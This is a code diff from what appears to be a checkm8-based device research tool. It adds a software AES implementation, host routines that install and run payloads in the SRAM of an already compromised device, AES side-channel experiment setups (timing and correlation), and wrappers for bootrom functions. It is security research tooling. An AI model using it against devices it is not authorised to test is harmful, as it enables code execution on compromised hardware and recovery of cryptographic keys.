+                                        ${CMAKE_SOURCE_DIR}/c8_remote/include/tool)
+
+add_library(experiments experiments/crypto.c
+                        experiments/system.c
+                        experiments/power.c)
+add_library(host_crypto crypto/aes_sw_impl.c crypto/aes_sw_host.c)
--- a/c8_remote/lib/crypto/aes_sw_host.c
+++ b/c8_remote/lib/crypto/aes_sw_host.c
@@ -0,0 +1,78 @@
+#include <stdlib.h>
+#include <string.h>
+
+#include "dev/types.h"
+
+static const unsigned char sbox[256] =
+        {
+                0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
+                0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
+                0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
+                0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
+                0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
+                0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
+                0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
+                0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
+                0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
+                0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
+                0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
+                0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
+                0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
+                0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
+                0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
+                0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
+        };
+
+static const unsigned char mul2_lookup[256] =
+        {
+                0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
+                0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,
+                0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e,
+                0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e,
+                0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e,
+                0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe,
+                0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde,
+                0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe,
+                0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05,
+                0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25,
+                0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45,
+                0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65,
+                0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85,
+                0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5,
+                0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5,
+                0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5
+        };
+
+static const unsigned char mul3_lookup[256] =
+        {
+                0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11,
+                0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21,
+                0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71,
+                0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41,
+                0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1,
+                0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1,
+                0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1,
+                0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81,
+                0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a,
+                0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba,
+                0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea,
+                0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda,
+                0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a,
+                0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a,
+                0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a,
+                0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
+        };
+
+static const unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
+
+struct aes_constants *get_constants()
+{
+    struct aes_constants *res = malloc(sizeof(struct aes_constants));
+
+    memcpy(res->sbox, sbox, sizeof(sbox));
+    memcpy(res->mul2, mul2_lookup, sizeof(mul2_lookup));
+    memcpy(res->mul3, mul3_lookup, sizeof(mul3_lookup));
+    memcpy(res->rc_lookup, rc_lookup, sizeof(rc_lookup));
+
+    return res;
+}
--- a/c8_remote/lib/crypto/aes_sw_impl.c
+++ b/c8_remote/lib/crypto/aes_sw_impl.c
@@ -0,0 +1,150 @@
+#include "dev/types.h"
+
+#ifdef DEV_CRYPTO
+#include "dev_util.h"
+
+PAYLOAD_SECTION
+#endif
+void sub_bytes(unsigned char block[16], struct aes_constants *c)
+{
+    int i;
+    unsigned char val;
+
+    for(i = 0; i < 16; i++)
+    {
+        val = block[i];
+        block[i] = c->sbox[val >> 4u][val & 0xfu];
+    }
+}
+
+#ifdef DEV_CRYPTO
+PAYLOAD_SECTION
+#endif
+void shift_rows(unsigned char block[16])
+{
+    unsigned char temp1, temp2;
+
+    temp1 = block[0x1];
+    block[0x1] = block[0x5];
+    block[0x5] = block[0x9];
+    block[0x9] = block[0xd];
+    block[0xd] = temp1;
+
+    temp1 = block[0x2];
+    temp2 = block[0xe];
+    block[0x2] = block[0xa];
+    block[0xe] = block[0x6];
+    block[0xa] = temp1;
+    block[0x6] = temp2;
+
+    temp1 = block[0x3];
+    block[0x3] = block[0xf];
+    block[0xf] = block[0xb];
+    block[0xb] = block[0x7];
+    block[0x7] = temp1;
+}
+
+#ifdef DEV_CRYPTO
+PAYLOAD_SECTION
+#endif
+void mix_cols(unsigned char block[16], struct aes_constants *c)
+{
+    unsigned char r0, r1, r2, r3;
+    int i;
+
+    for(i = 0; i < 4; i++)
+    {
+        r0 = block[4 * i];
+        r1 = block[4 * i + 1];
+        r2 = block[4 * i + 2];
+        r3 = block[4 * i + 3];
+
+        // no reason for the "+ 0" here but it makes the code look more lined up :)
+        block[4 * i + 0] = c->mul2[r0] ^ c->mul3[r1] ^ r2 ^ r3;
+        block[4 * i + 1] = r0 ^ c->mul2[r1] ^ c->mul3[r2] ^ r3;
+        block[4 * i + 2] = r0 ^ r1 ^ c->mul2[r2] ^ c->mul3[r3];
+        block[4 * i + 3] = c->mul3[r0] ^ r1 ^ r2 ^ c->mul2[r3];
+    }
+}
+
+#ifdef DEV_CRYPTO
+PAYLOAD_SECTION
+#endif
+void add_key(unsigned char block[16], unsigned char key[16])
+{
+    int i;
+    for(i = 0; i < 16; i++)
+    {
+        block[i] = block[i] ^ key[i];
+    }
+}
+
+#ifdef DEV_CRYPTO
+PAYLOAD_SECTION
+#endif
+void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
+                struct aes_constants *c)
+{
+    int i, j, prev_key_base, key_base = 0;
+    unsigned char val;
+    for(i = 0; i < 16; i++)
+    {
+        key_sched[i] = key[i];
+    }
+
+    for(i = 1; i < n; i++)
+    {
+        prev_key_base = key_base;
+        key_base = 16 * i;
+
+        for(j = 0; j < 3; j++)
+        {
+            val = key_sched[prev_key_base + 13 + j];
+            key_sched[key_base + j] = c->sbox[val >> 4u][val & 0xfu];
+        }
+
+        val = key_sched[prev_key_base + 12];
+        key_sched[key_base + 3] = c->sbox[val >> 4u][val & 0xfu];
+
+        key_sched[key_base] ^= c->rc_lookup[i - 1];
+
+        for(j = 0; j < 4; j++)
+        {
+            key_sched[key_base + j] = key_sched[key_base + j] ^ key_sched[prev_key_base + j];
+        }
+
+        for(j = 4; j < 16; j++)
+        {
+            key_sched[key_base + j] = key_sched[key_base + j - 4] ^ key_sched[prev_key_base + j];
+        }
+    }
+}
+
+#ifdef DEV_CRYPTO
+PAYLOAD_SECTION
+#endif
+void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
+                        unsigned char key_sched[176], struct aes_constants *c)
+{
+    unsigned int num_blocks = msg_len / 16;
+    unsigned char *block;
+
+    unsigned int i, j;
+    for(i = 0; i < num_blocks; i++)
+    {
+        block = &msg[16 * i];
+        add_key(block, key_sched);
+
+        for(j = 0; j < 9; j++)
+        {
+            sub_bytes(block, c);
+            shift_rows(block);
+            mix_cols(block, c);
+            add_key(block, &key_sched[16 * (j + 1)]);
+        }
+
+        sub_bytes(block, c);
+        shift_rows(block);
+        add_key(block, &key_sched[16 * (j + 1)]);
+    }
+}
--- a/c8_remote/lib/experiments/crypto.c
+++ b/c8_remote/lib/experiments/crypto.c
@@ -0,0 +1,277 @@
+#include "util/experiments.h"
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <stddef.h>
+
+#include "dev/addr.h"
+#include "tool/command.h"
+#include "util/host_crypto.h"
+
+DEV_PTR_T install_aes_data(struct pwned_device *dev)
+{
+    int close;
+    DEV_PTR_T res;
+    struct aes_constants *constants = get_constants();
+
+    if(is_device_session_open(dev)) close = 0;
+    else
+    {
+        close = 1;
+        if(IS_CHECKM8_FAIL(open_device_session(dev)))
+        {
+            printf("failed to open device session\n");
+            free(constants);
+            return DEV_PTR_NULL;
+        }
+    }
+
+    res = install_data(dev, SRAM, (unsigned char *) constants, sizeof(struct aes_constants));
+    if(res == DEV_PTR_NULL)
+    {
+        printf("failed to write AES constants\n");
+        free(constants);
+        return DEV_PTR_NULL;
+    }
+
+    if(close)
+    {
+        if(IS_CHECKM8_FAIL(close_device_session(dev)))
+        {
+            printf("failed to close device session\n");
+            free(constants);
+            return DEV_PTR_NULL;
+        }
+    }
+
+    free(constants);
+    return res;
+}
+
+DEV_PTR_T setup_bern_exp(struct pwned_device *dev)
+{
+    DEV_PTR_T addr_data, addr_key, addr_async_buf, addr_constants;
+    struct dev_cmd_resp *resp;
+
+    unsigned char data[16];
+    unsigned char key[16];
+    memset(key, 0x1, 16);
+
+    if(IS_CHECKM8_FAIL(open_device_session(dev)))
+    {
+        printf("failed to open device session\n");
+        return DEV_PTR_NULL;
+    }
+
+    addr_constants = install_aes_data(dev);
+    if(addr_constants == DEV_PTR_NULL)
+    {
+        printf("failed to install aes constants\n");
+        return DEV_PTR_NULL;
+    }
+
+    addr_data = install_data(dev, SRAM, data, 16);
+    if(addr_data == DEV_PTR_NULL)
+    {
+        printf("failed to install aes data\n");
+        return DEV_PTR_NULL;
+    }
+
+    addr_key = install_data(dev, SRAM, key, 16);
+    if(addr_key == DEV_PTR_NULL)
+    {
+        printf("failed to install aes key\n");
+        return DEV_PTR_NULL;
+    }
+
+    if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
+    {
+        printf("failed to install sync payload\n");
+        return DEV_PTR_NULL;
+    }
+
+    if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW_BERN, SRAM)))
+    {
+        printf("failed to install aes payload\n");
+        return DEV_PTR_NULL;
+    }
+
+    resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        printf("failed to execute sync payload\n");
+        free_dev_cmd_resp(resp);
+        return DEV_PTR_NULL;
+    }
+    free_dev_cmd_resp(resp);
+
+    addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW_BERN,
+                                         sizeof(struct bern_data),
+                                         4, addr_data, 16, addr_key, addr_constants);
+    run_payload_async(dev, PAYLOAD_AES_SW_BERN);
+
+    if(IS_CHECKM8_FAIL(close_device_session(dev)))
+    {
+        printf("failed to close device session\n");
+        return DEV_PTR_NULL;
+    }
+
+    return addr_async_buf;
+}
+
+struct bern_data *get_bern_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf)
+{
+    struct dev_cmd_resp *resp;
+    struct bern_data *res;
+
+    if(IS_CHECKM8_FAIL(open_device_session(dev)))
+    {
+        printf("failed to open device session\n");
+        return NULL;
+    }
+
+    resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
+                          async_buf + offsetof(struct bern_data, ev_data));
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        printf("failed to signal for data\n");
+        free_dev_cmd_resp(resp);
+        return NULL;
+    }
+
+    free_dev_cmd_resp(resp);
+    resp = read_gadget(dev, async_buf, sizeof(struct bern_data));
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        printf("failed to get data from device\n");
+        free_dev_cmd_resp(resp);
+        return NULL;
+    }
+
+    res = (struct bern_data *) resp->data;
+    free(resp);
+
+    resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
+                          async_buf + offsetof(struct bern_data, ev_done));
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        printf("failed to signal data end\n");
+        free(res);
+        free_dev_cmd_resp(resp);
+        return NULL;
+    }
+
+    free_dev_cmd_resp(resp);
+    if(IS_CHECKM8_FAIL(close_device_session(dev)))
+    {
+        printf("failed to close device session\n");
+        free(res);
+        return NULL;
+    }
+
+    return res;
+}
+
+DEV_PTR_T setup_corr_exp(struct pwned_device *dev, unsigned char *init_key)
+{
+    DEV_PTR_T addr_key, addr_async_buf, addr_constants;
+    struct dev_cmd_resp *resp;
+
+    if(IS_CHECKM8_FAIL(open_device_session(dev)))
+    {
+        printf("failed to open device session\n");
+        return DEV_PTR_NULL;
+    }
+
+    addr_constants = install_aes_data(dev);
+    if(addr_constants == DEV_PTR_NULL)
+    {
+        printf("failed to install aes constants\n");
+        return DEV_PTR_NULL;
+    }
+
+    addr_key = install_data(dev, SRAM, init_key, 16);
+    if(addr_key == DEV_PTR_NULL)
+    {
+        printf("failed to install aes key\n");
+        return DEV_PTR_NULL;
+    }
+
+    if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
+    {
+        printf("failed to install sync payload\n");
+        return DEV_PTR_NULL;
+    }
+
+    if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW_CORR, SRAM)))
+    {
+        printf("failed to install aes payload\n");
+        return DEV_PTR_NULL;
+    }
+
+    resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        printf("failed to execute sync payload\n");
+        free_dev_cmd_resp(resp);
+        return DEV_PTR_NULL;
+    }
+    free_dev_cmd_resp(resp);
+
+    addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW_CORR,
+                                         sizeof(struct corr_data),
+                                         2, addr_key, addr_constants);
+    run_payload_async(dev, PAYLOAD_AES_SW_CORR);
+
+    if(IS_CHECKM8_FAIL(close_device_session(dev)))
+    {
+        printf("failed to close device session\n");
+        return DEV_PTR_NULL;
+    }
+
+    return addr_async_buf;
+}
+
+struct corr_data *get_corr_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf)
+{
+    struct dev_cmd_resp *resp;
+    struct corr_data *res;
+
+    if(IS_CHECKM8_FAIL(open_device_session(dev)))
+    {
+        printf("failed to open device session\n");
+        return NULL;
+    }
+
+    resp = read_gadget(dev, async_buf, sizeof(struct corr_data));
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        printf("failed to get data from device\n");
+        free_dev_cmd_resp(resp);
+        return NULL;
+    }
+
+    res = (struct corr_data *) resp->data;
+    free(resp);
+
+    resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
+                          async_buf + offsetof(struct corr_data, ev_cont));
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        printf("failed to signal data continue\n");
+        free(res);
+        free_dev_cmd_resp(resp);
+        return NULL;
+    }
+
+    free_dev_cmd_resp(resp);
+    if(IS_CHECKM8_FAIL(close_device_session(dev)))
+    {
+        printf("failed to close device session\n");
+        free(res);
+        return NULL;
+    }
+
+    return res;
+}
--- a/c8_remote/lib/experiments/power.c
+++ b/c8_remote/lib/experiments/power.c
@@ -0,0 +1,108 @@
+#include "util/experiments.h"
+
+#include <stdio.h>
+#include "tool/payload.h"
+
+void floppysleep(struct pwned_device *dev)
+{
+    struct dev_cmd_resp *resp;
+
+    if(IS_CHECKM8_FAIL(open_device_session(dev)))
+    {
+        printf("failed to open device session\n");
+        return;
+    }
+
+    if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
+    {
+        printf("failed to install sync payload\n");
+        return;
+    }
+
+    if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
+    {
+        printf("failed to install task sleep payload\n");
+        return;
+    }
+
+    float init_a = -7.504355E-39f;
+    DEV_PTR_T init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
+    if(init_a_ptr == DEV_PTR_NULL)
+    {
+        printf("failed to write initial data\n");
+        return;
+    }
+
+    resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        printf("failed to execute bootstrap\n");
+        return;
+    }
+
+    free_dev_cmd_resp(resp);
+
+    resp = execute_payload(dev, PAYLOAD_FLOPPYSLEEP, 0, 1, init_a_ptr);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        printf("failed to execute flopsleep payload\n");
+        return;
+    }
+
+    printf("retval is %08lli\n", resp->retval);
+    free_dev_cmd_resp(resp);
+    close_device_session(dev);
+}
+
+void floppysleep_async(struct pwned_device *dev)
+{
+    float init_a = -7.504355E-39f;
+    DEV_PTR_T init_a_ptr, async_buf_ptr;
+    struct dev_cmd_resp *resp;
+
+    if(IS_CHECKM8_FAIL(open_device_session(dev)))
+    {
+        printf("failed to open device session\n");
+        return;
+    }
+
+    if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
+    {
+        printf("failed to install sync payload\n");
+        return;
+    }
+
+    if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
+    {
+        printf("failed to install task sleep payload\n");
+        return;
+    }
+
+    init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
+    if(init_a_ptr == DEV_PTR_NULL)
+    {
+        printf("failed to write initial data\n");
+        return;
+    }
+
+    resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        printf("failed to execute bootstrap\n");
+        return;
+    }
+
+    free_dev_cmd_resp(resp);
+
+    async_buf_ptr = setup_payload_async(dev, PAYLOAD_FLOPPYSLEEP, 32, 1, init_a_ptr);
+    run_payload_async(dev, PAYLOAD_FLOPPYSLEEP);
+    close_device_session(dev);
+
+    printf("async buf pointer is %llX\n", async_buf_ptr);
+
+//    sleep(10);
+//
+//    open_device_session(dev);
+//    resp = read_gadget(dev, async_buf_ptr, 8);
+//    close_device_session(dev);
+}
--- a/c8_remote/lib/experiments/system.c
+++ b/c8_remote/lib/experiments/system.c
@@ -0,0 +1,54 @@
+#include "util/experiments.h"
+
+#include <stdio.h>
+#include "tool/command.h"
+#include "dev/addr.h"
+
+void usb_task_exit(struct pwned_device *dev)
+{
+    struct dev_cmd_resp *resp;
+    if(IS_CHECKM8_FAIL(open_device_session(dev)))
+    {
+        printf("failed to open device session\n");
+        return;
+    }
+
+    if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
+    {
+        printf("failed to install sync payload\n");
+        return;
+    }
+
+    if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_EXIT_USB_TASK, SRAM)))
+    {
+        printf("failed to install sync payload\n");
+        return;
+    }
+
+    resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        printf("failed to execute bootstrap\n");
+        return;
+    }
+    free_dev_cmd_resp(resp);
+
+    if(IS_CHECKM8_FAIL(uninstall_payload(dev, PAYLOAD_SYNC)))
+    {
+        printf("failed to uninstall sync payload\n");
+        return;
+    }
+
+    resp = execute_payload(dev, PAYLOAD_EXIT_USB_TASK, 0, 0);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        printf("failed to exit usb task\n");
+        return;
+    }
+
+    if(IS_CHECKM8_FAIL(close_device_session(dev)))
+    {
+        printf("failed to close device session\n");
+        return;
+    }
+}
--- a/c8_remote/lib/payload/CMakeLists.txt
+++ b/c8_remote/lib/payload/CMakeLists.txt
@@ -1,28 +1,46 @@
-project(checkm8_libpayload_sources C ASM)
-include_directories(include)
-
+include_directories(${CMAKE_CURRENT_LIST_DIR}/include)
 set(CMAKE_SYSTEM_PROCESSOR arm)
+
 if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
    # regular desktop
    set(CMAKE_C_COMPILER    /usr/bin/aarch64-linux-gnu-gcc)
    set(CMAKE_ASM_COMPILER  /usr/bin/aarch64-linux-gnu-as)
    set(CMAKE_OBJCOPY       /usr/bin/aarch64-linux-gnu-objcopy)
+    set(CMAKE_RANLIB        /usr/bin/aarch64-linux-gnu-ranlib)
 elseif(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "armv7l")
    # raspberry pi
    set(CMAKE_C_COMPILER    /opt/cross/bin/aarch64-linux-gcc)
    set(CMAKE_ASM_COMPILER  /opt/cross/bin/aarch64-linux-as)
    set(CMAKE_OBJCOPY       /opt/cross/bin/aarch64-linux-objcopy)
+    set(CMAKE_RANLIB        /opt/cross/bin/aarch64-linux-ranlib)
 endif()

 set(CMAKE_C_FLAGS "-nostdlib -O")
-
 file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/bin)
+
 foreach(NAME ${PL_NAMES})
-    add_executable(payload_${NAME} src/${NAME}.c)
-    add_custom_command(TARGET       payload_${NAME} POST_BUILD
-                        BYPRODUCTS  ${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME}.bin
+    string(REPLACE ":" "/" SRC_PATH ${NAME})
+    string(REGEX REPLACE "^[^:]*\\:(.*)$" "\\1" NAME_ONLY ${NAME})
+
+    set(SRC_NAME ${NAME}_SRCS)
+    set(${SRC_NAME} src/payload_entry.S src/payload_entry.c src/${SRC_PATH}.c)
+
+    if(EXISTS ${CMAKE_CURRENT_LIST_DIR}/src/${SRC_PATH}.S)
+        list(APPEND ${SRC_NAME} src/${SRC_PATH}.S)
+    endif()
+
+    add_executable(payload_${NAME_ONLY} ${${SRC_NAME}})
+    message(adding payload_${NAME_ONLY})
+    add_custom_command(TARGET       payload_${NAME_ONLY} POST_BUILD
+                        BYPRODUCTS  ${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME_ONLY}.bin
                        COMMAND     ${CMAKE_OBJCOPY}
                        ARGS        -O binary -j .text -j .payload_text -j .payload_data
-                                    ${CMAKE_CURRENT_BINARY_DIR}/payload_${NAME}
-                                    ${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME}.bin)
-endforeach(NAME)
+                                    ${CMAKE_CURRENT_BINARY_DIR}/payload_${NAME_ONLY}
+                                    ${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME_ONLY}.bin)
+endforeach(NAME)
+
+add_library(dev_crypto ../crypto/aes_sw_impl.c)
+target_compile_definitions(dev_crypto PRIVATE DEV_CRYPTO)
+
+target_link_libraries(payload_aes_sw_bern dev_crypto)
+target_link_libraries(payload_aes_sw_corr dev_crypto)
--- a/c8_remote/lib/payload/include/bootrom_func.h
+++ b/c8_remote/lib/payload/include/bootrom_func.h
@@ -0,0 +1,136 @@
+#ifndef CHECKM8_TOOL_BOOTROM_FUNC_H
+#define CHECKM8_TOOL_BOOTROM_FUNC_H
+
+#include "dev/addr.h"
+#include "dev/types.h"
+#include "dev_util.h"
+
+/* Crypto */
+static inline int hardware_aes(unsigned long long cmd,
+                        unsigned char *src, unsigned char *dst,
+                        int len, unsigned long long opts,
+                        unsigned char *key, unsigned char *iv)
+{
+    return ((BOOTROM_FUNC_I) ADDR_HARDWARE_AES)(cmd, src, dst, len, opts, key, iv);
+}
+
+static inline int get_random(void *buf, int len)
+{
+    return ((BOOTROM_FUNC_I) ADDR_GET_RANDOM)(buf, len);
+}
+
+static inline unsigned int get_entropy()
+{
+    return ((BOOTROM_FUNC_I) ADDR_GET_ENTROPY)();
+}
+
+static inline void sha1(void *src, int len, void *dst)
+{
+    return ((BOOTROM_FUNC_V) ADDR_SHA1)(src, len, dst);
+}
+
+/* Timing */
+static inline int clock_gate(int device, int power)
+{
+    return ((BOOTROM_FUNC_I) ADDR_CLOCK_GATE)(device, power);
+}
+
